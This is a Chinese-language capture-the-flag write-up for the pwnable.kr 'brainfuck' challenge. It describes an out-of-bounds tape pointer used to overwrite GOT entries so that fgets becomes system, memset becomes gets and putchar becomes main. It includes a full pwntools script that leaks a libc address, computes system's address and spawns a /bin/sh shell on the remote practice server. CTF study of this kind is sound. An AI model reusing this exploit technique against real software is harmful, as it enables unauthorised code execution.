pwnable brainfuck writeup

这道题真tm迷
我们首先分析一下elf文件

这里是获取我们输入的字符串进行分析,如果是'<‘指针就减少1,是’>’指针就增加1,’.’ 输出指针指向的内容,’,’ 向指针写入


之后在main中发现这里对指针赋值为tape的地址
拿到shell的思路为改写got表中函数的地址

分为以下三步
1. 修改fgets的got内容为system地址
2. 修改memset的got表内容为gets地址
3. 修改puchar的got表内容为main程序地址

按照思路来说,应该是让程序在调用putchar的时跳到main的地址,之后程序执行到这里时

让执行memset时执行gets,之后在fgets处再执行system,就可以实现将输入字符串作为system的参数,就可以拿到shell了

至于如何获取system函数的地址,我上一篇文章也写了的,这里就不再赘述。

其实这个题最坑的地方是有延时,所以代码中有个sleep(1)
我在这个地方卡了很久,每次收到的字符数量都不够,然后直接报错。
最后我实在受不了了,参考了别人的wp才发现这个点。。。。。。

from pwn import *
import time


libc = ELF('bf_libc.so')
elf = ELF('bf')

p = remote('pwnable.kr',9001)

main_addr =  elf.symbols['main']
tape_addr = 0x0804a0a0
putchar_got_addr = 0x804a030
puts_got_addr = 0x804a018
memset_get_addr = 0x804a02c
fgets_got_addr = 0x804a010

print p.recvline()
print p.recvline()

payload = '<'*(tape_addr - fgets_got_addr)
payload += '.>'*4 + '<'*4
payload += ',>'*4 + '<'*4
payload += '>'*(memset_get_addr - fgets_got_addr)
payload += ',>'*4 + '<'*4
payload += '>'*(putchar_got_addr - memset_get_addr)
payload += ',>'*4
payload += '.'
p.sendline(payload)

time.sleep(1)
s = p.recv(4)
print hex(u32(s))
addr_fgets = u32(s)

sys_addr = addr_fgets - libc.symbols['fgets'] + libc.symbols['system']
gets_addr = addr_fgets - libc.symbols['fgets'] + libc.symbols['gets']

payload2 = p32(sys_addr) + p32(gets_addr) + p32(main_addr) + '/bin/sh' + '\n'

p.send(payload2)
p.interactive()

发表评论

电子邮件地址不会被公开。 必填项已用*标注